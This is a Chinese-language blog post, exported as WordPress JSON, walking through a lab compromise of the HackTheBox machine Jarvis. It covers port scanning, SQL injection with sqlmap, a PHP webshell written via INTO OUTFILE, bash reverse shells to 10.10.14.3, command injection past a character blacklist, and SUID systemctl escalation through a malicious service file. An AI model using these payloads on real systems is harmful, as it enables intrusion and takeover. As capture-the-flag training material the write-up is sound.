{"id":124,"date":"2024-11-13T09:32:17","date_gmt":"2024-11-13T01:32:17","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=124"},"modified":"2024-11-13T09:49:30","modified_gmt":"2024-11-13T01:49:30","slug":"htb_machine_jarvis","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/htb_machine_jarvis\/","title":{"rendered":"HTB\u9776\u673a Jarvis \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.143<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/Documents\/pentest_notes\/jarvis\/nmap_reports]\n\u2514\u2500# ping -c 4 10.10.10.143\nPING 10.10.10.143 (10.10.10.143) 56(84) bytes of data.\n64 bytes from 10.10.10.143: icmp_seq=1 ttl=63 time=514 ms\n64 bytes from 10.10.10.143: icmp_seq=2 ttl=63 time=297 ms\n64 bytes from 10.10.10.143: icmp_seq=3 ttl=63 time=296 ms\n64 bytes from 10.10.10.143: icmp_seq=4 ttl=63 time=530 ms\n\n--- 10.10.10.143 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3199ms\nrtt min\/avg\/max\/mdev = 295.950\/409.264\/530.395\/113.147 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u901a\u4fe1\u72b6\u6001\u826f\u597d\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sat Jul 20 08:03:40 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.10.143\nWarning: 10.10.10.143 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.143 (10.10.10.143)\nHost is up (0.39s latency).\nNot shown: 65532 closed tcp ports (reset)\nPORT      STATE         SERVICE\n22\/tcp    open|filtered ssh\n80\/tcp    open|filtered http\n64999\/tcp open|filtered unknown\n\n# Nmap done at Sat Jul 20 08:04:50 2024 -- 1 IP address (1 host up) scanned in 70.28 seconds<\/code><\/pre>\n<p>\u9776\u673a\u5f00\u653e\u4e86<code>3<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sat Jul 20 08:07:44 2024 as: nmap -sS -sV -A -p 22,80,64999 -oN .\/tcp_result.txt 10.10.10.143\nNmap scan report for 10.10.10.143 (10.10.10.143)\nHost is up (0.34s latency).\n\nPORT      STATE SERVICE VERSION\n22\/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)\n| ssh-hostkey: \n|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)\n|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)\n|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)\n80\/tcp    open  http    Apache httpd 2.4.25 ((Debian))\n| http-cookie-flags: \n|   \/: \n|     PHPSESSID: \n|_      httponly flag not set\n|_http-server-header: Apache\/2.4.25 (Debian)\n|_http-title: Stark Hotel\n64999\/tcp open  http    Apache httpd 2.4.25 ((Debian))\n|_http-server-header: Apache\/2.4.25 (Debian)\n|_http-title: Site doesn't have a title (text\/html).\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 3.2 - 4.9 (96%), Android 4.2.2 (Linux 3.4) (96%), Android 4.1.2 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Android 4.1.1 (94%), DD-WRT (Linux 3.18) (94%), DD-WRT v3.0 (Linux 4.4.2) (94%), Linux 4.4 (94%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 80\/tcp)\nHOP RTT       ADDRESS\n1   307.85 ms 10.10.14.1 (10.10.14.1)\n2   398.58 ms 10.10.10.143 (10.10.10.143)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sat Jul 20 08:08:22 2024 -- 1 IP address (1 host up) scanned in 41.64 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sat Jul 20 08:08:59 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.143\nWarning: 10.10.10.143 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.143 (10.10.10.143)\nHost is up (0.71s latency).\nAll 65535 scanned ports on 10.10.10.143 (10.10.10.143) are in ignored states.\nNot shown: 65166 open|filtered udp ports (no-response), 369 closed udp ports (port-unreach)\n\n# Nmap done at Sat Jul 20 08:15:14 2024 -- 1 IP address (1 host up) scanned in 375.07 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Debian Linux<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/jarvis.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721436072889-ef751faa-31b3-4406-96e1-a22bbf13316f.png\" alt=\"\" \/><\/p>\n<p>\u67e5\u770b\u6574\u4e2a\u9875\u9762\uff0c\u5728\u9875\u9762\u5934\u90e8\u6536\u96c6\u5230\u7535\u8bdd\u53f7\u7801<code>+123456789<\/code>\uff0c\u5728\u9875\u9762\u672b\u5c3e\u53d1\u73b0\u5982\u4e0b\u5173\u952e\u4fe1\u606f\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721436201906-8091aa9e-5d71-468b-af01-247433d642e4.png\" alt=\"\" \/><\/p>\n<ul>\n<li>\u7591\u4f3c\u7aef\u53e3\u6572\u95e8\uff1a<code>1235<\/code>\u3001<code>2355<\/code>\u3001<code>98<\/code><\/li>\n<li>\u57df\u540d\uff1a<code>logger.htb<\/code>\u3001<code>supersecurehotel.htb<\/code><\/li>\n<li>\u7591\u4f3c\u7528\u6237\u540d\uff1a<code>supersecurehotel<\/code><\/li>\n<li>\u9875\u9762\uff1a<code>room.php<\/code>\u3001<code>dining-bar.php<\/code>\u3001<code>room-suites.php<\/code><\/li>\n<\/ul>\n<p>\u67e5\u770b<code>dining-bar.php<\/code>\u548c<code>room-suites.php<\/code>\uff0c\u672a\u53d1\u73b0\u4efb\u4f55\u5173\u952e\u4fe1\u606f\uff0c\u4e8e\u662f\u5206\u6790<code>room.php<\/code>\u3002<\/p>\n<p>\u5728\u5206\u6790\u8be5\u9875\u9762\u65f6\uff0c\u53d1\u73b0\u8be5\u9875\u9762\u9700\u8981\u4e00\u4e2a<code>HTTP GET<\/code>\u53c2\u6570<code>cod<\/code>\uff0c\u5185\u5bb9\u4e3a\u4e3b\u9875\u4e0a\u623f\u95f4\u7684<code>ID<\/code>\uff0c\u5f88\u660e\u663e\u8be5\u9875\u9762\u4f7f\u7528\u4e86\u5982\u4e0b<code>SQL<\/code>\u8bed\u53e5\uff1a<\/p>\n<pre><code class=\"language-plsql\">SELECT * FROM roomList WHERE room_id = {$cod}<\/code><\/pre>\n<p>\u7ecf\u8fc7\u6d4b\u8bd5\uff0c\u53d1\u73b0\u8be5\u53c2\u6570\u5b58\u5728<code>SQL<\/code>\u5e03\u5c14\u76f2\u6ce8\u6f0f\u6d1e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721437491754-56245c21-c00b-432f-93b8-8206b9aa3a05.png\" alt=\"\" \/><\/p>\n<p><strong>\uff08\u53ea\u6709\u5f53\u957f\u5ea6\u503c\u4e3a<\/strong><code>5<\/code><strong>\u65f6\uff0c\u9875\u9762\u624d\u8fd4\u56de\u6b63\u786e\u5185\u5bb9\uff09<\/strong><\/p>\n<p>\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Sat Jul 20 09:18:56 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/jarvis.htb\/ -x 400,403,404 -t 60 -e php,js,html,txt,zip,tar.gz,pcap\n\n301   305B   http:\/\/jarvis.htb\/js    -&gt; REDIRECTS TO: http:\/\/jarvis.htb\/js\/\n301   306B   http:\/\/jarvis.htb\/css    -&gt; REDIRECTS TO: http:\/\/jarvis.htb\/css\/\n301   308B   http:\/\/jarvis.htb\/fonts    -&gt; REDIRECTS TO: http:\/\/jarvis.htb\/fonts\/\n200   755B   http:\/\/jarvis.htb\/footer.php\n200   816B   http:\/\/jarvis.htb\/images\/\n301   309B   http:\/\/jarvis.htb\/images    -&gt; REDIRECTS TO: http:\/\/jarvis.htb\/images\/\n200   677B   http:\/\/jarvis.htb\/js\/\n301   313B   http:\/\/jarvis.htb\/phpmyadmin    -&gt; REDIRECTS TO: http:\/\/jarvis.htb\/phpmyadmin\/\n200     3KB  http:\/\/jarvis.htb\/phpmyadmin\/doc\/html\/index.html\n200     1KB  http:\/\/jarvis.htb\/phpmyadmin\/README\n200    19KB  http:\/\/jarvis.htb\/phpmyadmin\/ChangeLog\n200     4KB  http:\/\/jarvis.htb\/phpmyadmin\/\n200     4KB  http:\/\/jarvis.htb\/phpmyadmin\/index.php<\/code><\/pre>\n<p>\u53d1\u73b0\u4e86<code>PHPMyAdmin<\/code>\uff0c\u6253\u5f00\u4e3b\u9875\uff0c\u53d1\u73b0\u7248\u672c\u4e3a<code>v4.8.0<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721439181011-aeaae970-40c5-40f8-8e6c-3f6eb8cc9d29.png\" alt=\"\" \/><\/p>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0864999\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/jarvis.htb:64999\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721439302654-0984e4e3-e058-4200-9d7f-226d281ee247.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff0c\u4f46\u672a\u53d1\u73b0\u4efb\u4f55\u4fe1\u606f\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>SQL\u76f2\u6ce8\u6e17\u900f<\/h2>\n<p>\u786e\u5b9a<code>room.php<\/code>\u7684<code>cod<\/code>\u53c2\u6570\u5b58\u5728<code>SQL<\/code>\u76f2\u6ce8\u6f0f\u6d1e\u4e4b\u540e\uff0c\u76f4\u63a5\u4f7f\u7528<code>SQLMap<\/code>\u9a8c\u8bc1\uff1a<\/p>\n<pre><code class=\"language-shell\">sqlmap -u \"http:\/\/jarvis.htb\/room.php?cod=2\" --level 5 --risk 3<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721440411960-90f8acf3-0ebb-4a2d-9b70-33c92a404369.png\" alt=\"\" \/><\/p>\n<p>\u786e\u5b9a\u5f53\u524d\u6570\u636e\u5e93\u7528\u6237\u540d\u4ee5\u53ca\u5176\u662f\u5426\u4e3a\u7ba1\u7406\u5458\u7528\u6237\uff1a<\/p>\n<pre><code class=\"language-shell\">sqlmap -u \"http:\/\/jarvis.htb\/room.php?cod=2\" --current-user --is-dba  --level 5 --risk 3<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721440542716-b2e9d843-7567-4188-8d37-fec680281202.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5f53\u524d\u7528\u6237\u4e3a<code>DBadmin<\/code>\uff0c\u5177\u6709\u8d85\u7ba1\u6743\u9650\u3002<\/p>\n<p>\u65e2\u7136\u5f53\u524d\u7528\u6237\u4e3a\u8d85\u7ba1\uff0c\u76f4\u63a5\u83b7\u53d6<code>mysql.user<\/code>\u8868\u5185\u7684\u6570\u636e\uff0c\u5c1d\u8bd5\u4f7f\u7528\u5728\u7ebf\u5de5\u5177\u7834\u89e3\u540e\u767b\u5f55<code>PHPMyAdmin<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">sqlmap -u \"http:\/\/jarvis.htb\/room.php?cod=2\" -D mysql -T user --columns --dump --level 5 --risk 3 --output-dir=.\/sql_result<\/code><\/pre>\n<p>\u6253\u5f00\u4fdd\u5b58\u7684\u7ed3\u679c\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721441262292-210818c3-0a79-4b51-9ce4-6a1d2da72ac9.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u83b7\u53d6<code>DBadmin<\/code>\u7528\u6237\u5bc6\u7801\u54c8\u5e0c\uff0c\u5c1d\u8bd5\u5728\u7ebf\u7834\u89e3\uff0c\u6210\u529f\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>DBadmin<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>imissyou<\/code><\/li>\n<li>\u4e3b\u673a\uff1a<code>localhost<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u767b\u5f55<code>PHPMyAdmin<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721441467344-03d7c8aa-b8c9-4577-ba6a-b2ff6fddf1a4.png\" alt=\"\" \/><\/p>\n<h2>\u5199\u5165WebShell<\/h2>\n<p>\u767b\u5f55<code>PHPMyAdmin<\/code>\u4e4b\u540e\uff0c\u5c1d\u8bd5\u6267\u884c\u5982\u4e0b<code>SQL<\/code>\u8bed\u53e5\u5199\u5165\u7f51\u9875\u6728\u9a6c\uff1a<\/p>\n<pre><code class=\"language-plsql\">SELECT \"&lt;?php system($_GET['cmd']); ?&gt;\" INTO OUTFILE \"\/var\/www\/html\/sparkle.php\";<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721441871820-c5779663-e592-4751-9ee5-337cff518582.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u4f7f\u7528<code>BurpSuite<\/code>\u8bbf\u95ee\u5e76\u53cd\u5f39Shell\uff1a<\/p>\n<pre><code class=\"language-bash\">\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.3\/443 0&gt;&amp;1'<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721442068008-196538d1-23fd-4739-912f-53effdc0450c.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>Sudo\u811a\u672c\u63d0\u6743<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u5c1d\u8bd5\u67e5\u770b\u5f53\u524d\u7528\u6237<code>Sudo<\/code>\u6743\u9650\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721442425974-0e624c05-4e46-4d92-a332-8c1a82f39c13.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5f53\u524d\u7528\u6237\u53ef\u4ee5<code>pepper<\/code>\u7528\u6237\u8eab\u4efd\u514d\u5bc6\u8fd0\u884c<code>\/var\/www\/Admin-Utilities\/simpler.py<\/code>\u6587\u4ef6\u3002\u8be5\u6587\u4ef6\u5c5e\u4e3b\u4e3a<code>pepper<\/code>\uff0c\u6743\u9650\u4e3a<code>0744<\/code>\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-python\">#!\/usr\/bin\/env python3\nfrom datetime import datetime\nimport sys\nimport os\nfrom os import listdir\nimport re\n\ndef show_help():\n    message='''\n********************************************************\n* Simpler   -   A simple simplifier ;)                 *\n* Version 1.0                                          *\n********************************************************\nUsage:  python3 simpler.py [options]\n\nOptions:\n    -h\/--help   : This help\n    -s          : Statistics\n    -l          : List the attackers IP\n    -p          : ping an attacker IP\n    '''\n    print(message)\n\ndef show_header():\n    print('''***********************************************\n     _                 _                       \n ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ \n\/ __| | '_ ` _ | '_ | |\/ _  '__| '_ | | | |\n__  | | | | | | |_) | |  __\/ |_ | |_) | |_| |\n|___\/_|_| |_| |_| .__\/|_|___|_(_)| .__\/ __, |\n                |_|               |_|    |___\/ \n                                @ironhackers.es\n\n***********************************************\n''')\n\ndef show_statistics():\n    path = '\/home\/pepper\/Web\/Logs\/'\n    print('Statisticsn-----------')\n    listed_files = listdir(path)\n    count = len(listed_files)\n    print('Number of Attackers: ' + str(count))\n    level_1 = 0\n    dat = datetime(1, 1, 1)\n    ip_list = []\n    reks = []\n    ip = ''\n    req = ''\n    rek = ''\n    for i in listed_files:\n        f = open(path + i, 'r')\n        lines = f.readlines()\n        level2, rek = get_max_level(lines)\n        fecha, requ = date_to_num(lines)\n        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]\n        if fecha &gt; dat:\n            dat = fecha\n            req = requ\n            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]\n        if int(level2) &gt; int(level_1):\n            level_1 = level2\n            ip_list = [ip]\n            reks=[rek]\n        elif int(level2) == int(level_1):\n            ip_list.append(ip)\n            reks.append(rek)\n        f.close()\n\n    print('Most Risky:')\n    if len(ip_list) &gt; 1:\n        print('More than 1 ip found')\n    cont = 0\n    for i in ip_list:\n        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])\n        cont = cont + 1\n\n    print('Most Recent: ' + ip2 + ' --&gt; ' + str(dat) + ' ' + req)\n\ndef list_ip():\n    print('Attackersn-----------')\n    path = '\/home\/pepper\/Web\/Logs\/'\n    listed_files = listdir(path)\n    for i in listed_files:\n        f = open(path + i,'r')\n        lines = f.readlines()\n        level,req = get_max_level(lines)\n        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)\n        f.close()\n\ndef date_to_num(lines):\n    dat = datetime(1,1,1)\n    ip = ''\n    req=''\n    for i in lines:\n        if 'Level' in i:\n            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('n')[0]\n            regex = '(d+)-(.*)-(d+)(.*)'\n            logEx=re.match(regex, fecha).groups()\n            mes = to_dict(logEx[1])\n            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]\n            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')\n            if fecha &gt; dat:\n                dat = fecha\n                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]\n    return dat, req\n\ndef to_dict(name):\n    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}\n    return month_dict[name]\n\ndef get_max_level(lines):\n    level=0\n    for j in lines:\n        if 'Level' in j:\n            if int(j.split(' ')[4]) &gt; int(level):\n                level = j.split(' ')[4]\n                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]\n    return level, req\n\ndef exec_ping():\n    forbidden = ['&amp;', ';', '-', '`', '||', '|']\n    command = input('Enter an IP: ')\n    for i in forbidden:\n        if i in command:\n            print('Got you')\n            exit()\n    os.system('ping ' + command)\n\nif __name__ == '__main__':\n    show_header()\n    if len(sys.argv) != 2:\n        show_help()\n        exit()\n    if sys.argv[1] == '-h' or sys.argv[1] == '--help':\n        show_help()\n        exit()\n    elif sys.argv[1] == '-s':\n        show_statistics()\n        exit()\n    elif sys.argv[1] == '-l':\n        list_ip()\n        exit()\n    elif sys.argv[1] == '-p':\n        exec_ping()\n        exit()\n    else:\n        show_help()\n        exit()<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230\u53ea\u8981\u5728\u811a\u672c\u540e\u52a0\u4e0a<code>-p<\/code>\u53c2\u6570\u5373\u53ef\u8c03\u7528<code>exec_ping()<\/code>\u51fd\u6570\u6267\u884c\u547d\u4ee4\uff0c\u5bf9\u4e8e\u5176\u6076\u610f\u5b57\u7b26\u68c0\u67e5\uff0c\u53ef\u4ee5\u4f7f\u7528\u5982\u4e0b\u65b9\u6cd5\u89c4\u907f<strong>\uff08\u9996\u5148\u521b\u5efa<\/strong><code>\/tmp\/re.sh<\/code><strong>\u53cd\u5f39Shell\u811a\u672c\uff09<\/strong>\uff1a<\/p>\n<pre><code class=\"language-shell\">sudo -u pepper \/var\/www\/Admin-Utilities\/simpler.py -p\nsparkle $(\/tmp\/re.sh)<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721444497637-6241af30-7af4-4ffc-8ca8-fdbe4dc27f75.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<h2>\u672c\u5730\u4fe1\u606f\u6536\u96c6<\/h2>\n<p><strong>\u57fa\u672c\u7cfb\u7edf\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721445528619-b66e27fa-c7c3-497c-bdaf-11fb99ca4033.png\" alt=\"\" \/><\/p>\n<p><strong>\u8fdb\u7a0b\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721445534119-e3a57fb4-db1b-4c21-81a9-8abc041cb341.png\" alt=\"\" \/><\/p>\n<p><strong>\u8ba1\u5212\u4efb\u52a1\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721445539550-18077329-9c3a-419b-a8d8-b3aa698bb622.png\" alt=\"\" \/><\/p>\n<p><strong>\u73af\u5883\u53d8\u91cf<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721445544961-dc78de81-6d63-45e1-b379-4b5429e1d161.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721445550249-bd7e4ae5-b294-4c8b-b12b-63217f97f144.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u5bb6\u76ee\u5f55<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721445583806-ffa7a69e-b80a-4d16-99d9-30359d3eab9f.png\" alt=\"\" \/><\/p>\n<p><strong>\u7279\u6b8a\u6743\u9650\u6587\u4ef6<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721445589742-a67cef92-afcb-4423-98e6-9b7f49e08e97.png\" alt=\"\" \/><\/p>\n<p><strong>\u5f00\u653e\u7aef\u53e3\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721445595268-5efa7d03-9e0c-42bf-895d-a19c6f2903c7.png\" alt=\"\" \/><\/p>\n<p><strong>\u654f\u611f\u6587\u4ef6\u6743\u9650<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721445600665-4292e4a7-8039-4b2e-bc45-5f9415036f8e.png\" alt=\"\" \/><\/p>\n<p>\u7ecf\u5206\u6790\u7814\u5224\uff0c\u53d1\u73b0<code>\/bin\/systemctl<\/code>\u547d\u4ee4\u5177\u6709<code>SUID<\/code>\u6743\u9650\uff0c\u51b3\u5b9a\u4ee5\u8be5\u547d\u4ee4\u4e3a\u5165\u53e3\u8fdb\u884c\u63d0\u6743\u3002<\/p>\n<h2>SUID systemctl\u63d0\u6743<\/h2>\n<p>\u9996\u5148\u521b\u5efa\u6076\u610f\u670d\u52a1\u914d\u7f6e\u6587\u4ef6<code>re.service<\/code>\uff1a<\/p>\n<pre><code class=\"language-plain\">[Service]\nType=oneshot\nExecStart=\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.3\/5555 0&gt;&amp;1'\n[Install]\nWantedBy=multi-user.target<\/code><\/pre>\n<p>\u968f\u540e\u5c06\u5176\u4e0b\u8f7d\u5230\u9776\u673a\u7684<code>\/dev\/shm<\/code>\u7cfb\u7edf\u7269\u7406\u5185\u5b58\u6302\u8f7d\u76ee\u5f55\u4e0b\uff1a<\/p>\n<pre><code class=\"language-shell\">wget http:\/\/10.10.14.3\/re.service\nmkdir \/dev\/shm\/evil\ncp .\/re.service \/dev\/shm\/evil\/re.service<\/code><\/pre>\n<p>\u968f\u540e\u4f7f\u7528<code>systemctl<\/code>\u6ce8\u518c\u5e76\u8fd0\u884c\u6076\u610f\u670d\u52a1\uff1a<\/p>\n<pre><code class=\"language-shell\">\/bin\/systemctl link \/dev\/shm\/evil\/re.service\n\/bin\/systemctl enable --now \/dev\/shm\/evil\/re.service<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721446708772-44e13a53-25b1-4eec-b842-481b410a4fab.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n<pre><code class=\"language-shell\">48f41dcba85de2466013bad062c1a750<\/code><\/pre>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.143 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b \u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-124","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/124","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=124"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/124\/revisions"}],"predecessor-version":[{"id":125,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/124\/revisions\/125"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=124"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/